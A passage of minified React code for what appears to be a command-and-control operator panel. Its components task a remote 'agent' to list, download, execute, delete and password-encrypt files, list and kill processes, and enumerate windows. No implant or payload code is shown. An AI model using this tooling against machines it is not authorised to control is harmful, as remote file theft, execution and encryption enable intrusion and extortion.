Seen",value:Vc(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(wU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function xn({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const EU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},AU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},_U={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function OU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${EU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${_U[a.type]} select-none`,children:AU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function TU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),_=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const H=se=>{se.button!==2&&z.current&&!z.current.contains(se.target)&&h(null)},X=se=>{se.key==="Escape"&&h(null)};return document.addEventListener("mousedown",H),document.addEventListener("keydown",X),()=>{document.removeEventListener("mousedown",H),document.removeEventListener("keydown",X)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var H;return(H=_.current)==null?void 0:H.focus()},50)},[y]);const A=p.useCallback(H=>new Promise((X,se)=>{let ue=0;const ge=30,xe=setInterval(async()=>{var Y;ue++;try{const C=(Y=(await Un(e)).results)==null?void 0:Y.find(K=>K.task_id===H);C?(clearInterval(xe),C.error?se(new Error(C.error)):X({output:C.output,data:C.data})):ue>=ge&&(clearInterval(xe),se(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=p.useCallback(async H=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:X}=await Ee(e,{command:"ls",args:[H]});r(H),f(!0);let se=0;const ue=30;N.current=setInterval(async()=>{var ge;se++;try{const Y=(ge=(await Un(e)).results)==null?void 0:ge.find(ee=>ee.task_id===X);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const ee=Y.output.split(` +`).slice(2),C=[];for(const K of ee){if(K.length<35)continue;const ne=K.substring(0,12).trim(),B=K.substring(13,33).trim();let ie=K.substring(34).trim();if(!ie||ie==="."||ie==="..")continue;const ve=ne==="";(ie.endsWith("/")||ie.endsWith("\\"))&&(ie=ie.slice(0,-1)),C.push({name:ie,isDir:ve,size:ve?void 0:ne,modified:B})}a(C)}}else se>=ue&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(X){u(X instanceof Error?X.message:"Failed to send command"),l(!1)}}},[e,S]),P=H=>{if(H.name.includes("..")||H.name.includes("/")||H.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+X+H.name},I=H=>{k(H),setTimeout(()=>k(""),5e3)},U=async H=>{h(null),g("download"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"download",args:[X]}),ue=await A(se);if(ue.data){let ge;try{ge=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const xe=new Uint8Array(ge.length);for(let K=0;K{h(null),g("delete"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"delete",args:[X]});await A(se),I(`Deleted ${H.name}`),O(n)}catch(X){u(X instanceof Error?X.message:"Delete failed")}finally{g(null)}},M=async(H,X,se)=>{v(null),w(""),g(H),u(""),k("");try{const ue=P(X),{task_id:ge}=await Ee(e,{command:H,args:[ue,se]}),xe=await A(ge);I(xe.output||`${H==="encrypt"?"Encrypted":"Decrypted"} ${X.name}`),O(n)}catch(ue){u(ue instanceof Error?ue.message:`${H} failed`)}finally{g(null)}},F=async H=>{h(null),g("execute"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"execute",args:[X]}),ue=await A(se);I(ue.output||`Executed ${H.name}`)}catch(X){u(X instanceof Error?X.message:"Execute failed")}finally{g(null)}},R=(H,X)=>{H.preventDefault(),H.stopPropagation();const se=180,ue=220;let ge=H.clientX,xe=H.clientY;ge+se>window.innerWidth&&(ge=window.innerWidth-se-8),xe+ue>window.innerHeight&&(xe=window.innerHeight-ue-8),h({x:Math.max(4,ge),y:Math.max(4,xe),entry:X})},W=()=>{!y||!b.trim()||M(y.action,y.entry,b)},$=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:H=>{H.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),$.map((H,X)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const se=$.slice(0,X+1).join("\\")+"\\";O(se)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:H})]},X))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>O(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(H=>s.jsxs("button",{onClick:()=>{if(H.isDir){const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+X+H.name)}},onContextMenu:X=>R(X,H),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:H.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:H.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:H.name})]},H.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>U(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>D(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:H=>H.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:_,type:"password",value:b,onChange:H=>w(H.target.value),onKeyDown:H=>{H.key==="Enter"&&W(),H.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:W,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function MU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ee(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var _;N++;try{const O=(_=(await Un(e)).results)==null?void 0:_.find(P=>P.task_id===S);if(O){if(v.current&&clearInterval(v.current),v.current=null,a(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(` +`).filter(M=>M.trim()),I=[];for(const M of P){const F=M.trim().split(/\s+/);if(F.length>=2){const R=parseInt(F[0],10);if(!isNaN(R)){const W=F.length>=3?parseInt(F[1],10):0,$=!isNaN(W)&&F.length>=3,H=$?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),X=$&&F.length>=4?F[2]:void 0;I.push({pid:R,ppid:$?W:0,name:H,user:X,children:[]})}}}const U=new Map;I.forEach(M=>U.set(M.pid,M));const D=[];for(const M of I){const F=U.get(M.ppid);F&&F!==M?F.children.push(M):D.push(M)}r(D.length>0?D:I.map(M=>({...M,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(_=>{const A=_.name.toLowerCase().includes(z)||String(_.pid).includes(z),O=w(_.children,N).length>0;return A||O})},j=p.useCallback(async S=>{h(S),g(null);try{await Ee(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(HS,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function HS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(HS,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function LU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ee(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Un(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider 